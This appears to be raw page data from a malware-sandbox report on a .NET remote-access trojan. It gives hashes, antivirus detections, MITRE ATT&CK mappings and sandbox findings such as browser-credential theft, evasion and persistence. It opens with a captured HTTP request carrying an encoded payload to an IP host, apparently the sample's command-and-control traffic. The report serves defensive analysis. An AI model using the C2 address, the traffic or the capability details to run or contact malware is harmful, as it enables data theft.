WTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiQjMjJ2N0ITZ3YjYwQ2YjRDO2EzMxMGN2QWMxMDNwczYiwiIlhDN3EmZ1MzY3YWMhRjZxgTZiRjZiV2YxIzM4ATY2MmYlZzYjVDN3IiOiMDMyEGMlNzN2ATY0IGNiN2NjR2Y4YTO5ImYlNGZhBDOiwiI3ITOjRzM3QWMhVTY3MmZ4EzY2YzNmVmZwMTOlVWNmJTO4gTN2YjY0IiOicjZzATZ1QWZ2IWM1I2YwU2MxM2N2gTNycTZiNmYlVTZis3W HTTP/1.1 Accept: */* Content-Type: text/csv User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 185.246.65.2032:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791021573057,"unified_at":"2026-10-03T09:59:33.057Z","metadata":{"hashes":{"sha256":"3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2","sha1":"8fad98f8e8c1bbdf860f3c1b00cbd2c6c2a9594b","md5":"ab9fea5cf163c99ff755bc8cfe8e1d14","sha512":"810dfb82545257b4768dc61c9146be5a5a9e1e3da9fa4ab6c621e8256ae831a0b9dd08d199720c18ebbe6f0ccbf35d04821047d27bab47e8fa165f6cfa9da746","ssdeep":"6144:7DGyN3U5hj8CkhrN2NHmDv1DE3PA1rVz+vtlQAHj6I5SIbVVwCqy:7nNE5hGJ2NsE3kz+vtlh5SER","ssdeep_chunks":["6144:7DGyN3U","6144:DGyN3U5","6144:GyN3U5h","6144:yN3U5hj","6144:N3U5hj8","6144:3U5hj8C","6144:U5hj8Ck","6144:5hj8Ckh","6144:hj8Ckhr","6144:j8CkhrN","6144:8CkhrN2","6144:CkhrN2N","6144:khrN2NH","6144:hrN2NHm","6144:rN2NHmD","6144:N2NHmDv","6144:2NHmDv1","6144:NHmDv1D","6144:HmDv1DE","6144:mDv1DE3","6144:Dv1DE3P","6144:v1DE3PA","6144:1DE3PA1","6144:DE3PA1r","6144:E3PA1rV","6144:3PA1rVz","6144:PA1rVz+","6144:A1rVz+v","6144:1rVz+vt","6144:rVz+vtl","6144:Vz+vtlQ","6144:z+vtlQA","6144:+vtlQAH","6144:vtlQAHj","6144:tlQAHj6","6144:lQAHj6I","6144:QAHj6I5","6144:AHj6I5S","6144:Hj6I5SI","6144:j6I5SIb","6144:6I5SIbV","6144:I5SIbVV","6144:5SIbVVw","6144:SIbVVwC","6144:IbVVwCq","6144:bVVwCqy","12288:7DGyN3U","12288:DGyN3U5","12288:GyN3U5h","12288:yN3U5hj","12288:N3U5hj8","12288:3U5hj8C","12288:U5hj8Ck","12288:5hj8Ckh","12288:hj8Ckhr","12288:j8CkhrN","12288:8CkhrN2","12288:CkhrN2N","12288:khrN2NH","12288:hrN2NHm","12288:rN2NHmD","12288:N2NHmDv","12288:2NHmDv1","12288:NHmDv1D","12288:HmDv1DE","12288:mDv1DE3","12288:Dv1DE3P","12288:v1DE3PA","12288:1DE3PA1","12288:DE3PA1r","12288:E3PA1rV","12288:3PA1rVz","12288:PA1rVz+","12288:A1rVz+v","12288:1rVz+vt","12288:rVz+vtl","12288:Vz+vtlQ","12288:z+vtlQA","12288:+vtlQAH","12288:vtlQAHj","12288:tlQAHj6","12288:lQAHj6I","12288:QAHj6I5","12288:AHj6I5S","12288:Hj6I5SI","12288:j6I5SIb","12288:6I5SIbV","12288:I5SIbVV","12288:5SIbVVw","12288:SIbVVwC","12288:IbVVwCq","12288:bVVwCqy","6144:7nNE5hG","6144:nNE5hGJ","6144:NE5hGJ2","6144:E5hGJ2N","6144:5hGJ2Ns","6144:hGJ2NsE","6144:GJ2NsE3","6144:J2NsE3k","6144:2NsE3kz","6144:NsE3kz+","6144:sE3kz+v","6144:E3kz+vt","6144:3kz+vtl","6144:kz+vtlh","6144:z+vtlh5","6144:+vtlh5S","6144:vtlh5SE","6144:tlh5SER"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"bounty-21208936221036190","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":324096,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1675686409000,"last_seen":1683136337000,"last_multi_scan":1683136337000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["evasive","njrat","rat"]},"stats":{"av":{"malicious_count":19,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":30},"sandbox_signatures":{"informative_count":47,"suspicious_count":23,"malicious_count":8,"total":78},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Backdoor/Win.DCRAT","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Backdoor]/MSIL.DCRat","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1310064","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Generic.Dacic.7C351673.A.12F846C5","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Packed.Msilmamut-9987799-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"W32/MSIL_Kryptik.HUS.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Generic.Dacic.7C351673.A.12F846C5 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Spy.Agent.DTR trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"TrojanSpy/MSIL.Stealer.at","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 00592ff21 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Backdoor.MSIL.DCRat.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"GenericRXTB-EY!AB9FEA5CF163","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Confidence_96","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Genus.LVV","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Dropper.MSIL.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.Win32.3216642","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Dacic.7C351673.A.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to modify processes thread functionality (API string)"},{"type":"informative","value":"Contains ability to execute application"},{"type":"informative","value":"Found Native API in Dotnet file"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"suspicious","value":"Contains scheduled task creation strings"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"informative","value":"Contains ability to execute WMI queries"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Found registry location strings which can modifies auto-execute functionality"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"suspicious","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"Found a cryptographic related string"},{"type":"informative","value":"Contains ability to perform crypto operations"},{"type":"informative","value":"Contains ability to decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"malicious","value":"Modifies file/console tracing settings (often used to hide footprints on system)"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to load content into memory"},{"type":"informative","value":"Contains ability to decode base64 data (API string)"},{"type":"informative","value":"Contains ability to decode string content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"suspicious","value":"Possibly tries to evade analysis by sleeping many times"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"},{"type":"suspicious","value":"Hooks API calls"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Contains ability to gather system information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to retrieve SID domain name"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"malicious","value":"Upload file using POST request"},{"type":"informative","value":"Calls an API typically used to retrieve is X64 architecture"},{"type":"informative","value":"Contains ability to retrieve the OS version (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"},{"type":"suspicious","value":"Read windows product name from registry"},{"type":"suspicious","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"suspicious","value":"Reads the windows installation language"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Contains ability to gather process details"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"informative","value":"Queries volume information"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal desktop applications information (file access)"},{"type":"suspicious","value":"Tries to access browsers sensitive information (file access)"},{"type":"suspicious","value":"Found browsers sensitive information related strings"},{"type":"suspicious","value":"Found desktop apps credentials related location strings"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"POSTs files to a webserver"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Contains ability to provide interface for network protocols"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Command and Control","technique":"Data Obfuscation","attack_id":"T1001","attack_id_wiki":"https://attack.mitre.org/techniques/T1001","identifiers":[{"type":"informative","value":"Dotnet code contains potential unpacker"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"HTTP request contains Base64 encoded artifacts"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to download files from the internet"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content into memory","description":"Observed function memorystream in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet code contains potential unpacker","description":"Observed function system.reflection.load in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin","origin":"Static Parser","mitre_attack_id":"T1001","relevance":1,"id":"static-115","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data (API string)","description":"Observed api string:\"FromBase64String\" [Source: 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin]","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode string content at runtime","description":"Observed function tostring in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\n Observed function concat in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\n Observed function split in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\n Observed function replace in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\n Observed function join in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\n Observed function frombase64string in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\".exe\" called \"GetForegroundWindow\" (UID: 00000000-00003676)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\".exe\" called \"GetWindowTextW\" with parameter \"Task Switching\" - (UID: 00000000-00003676)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\".exe\" called \"RtlGetNtProductType\" with parameter (UID: 00000000-00003676)\n \".exe\" called \"RtlGetNtProductType\" (UID: 00000000-00003676)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"\".exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00003676)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve SID domain name","description":"\".exe\" called \"LookupAccountSidW\" with parameter \"HAPUBWS\" - (UID: 00000000-00003676)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve is X64 architecture","description":"\".exe\" called \"IsWow64Process\" with parameter \"3676\" - (UID: 00000000-00003676)\n \".exe\" called \"IsWow64Process\" (UID: 00000000-00003676)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\".exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00003676)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute WMI queries","description":"Observed namespace system.management.managementobjectsearcher in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin","origin":"Static Parser","mitre_attack_id":"T1047","relevance":1,"id":"static-114","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to gather system information","description":"Observed function get_systemdirectory in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\n Observed function get_osversion in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\n Observed function get_is64bitoperatingsystem in 3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.bin\n Observed function get_machinename in 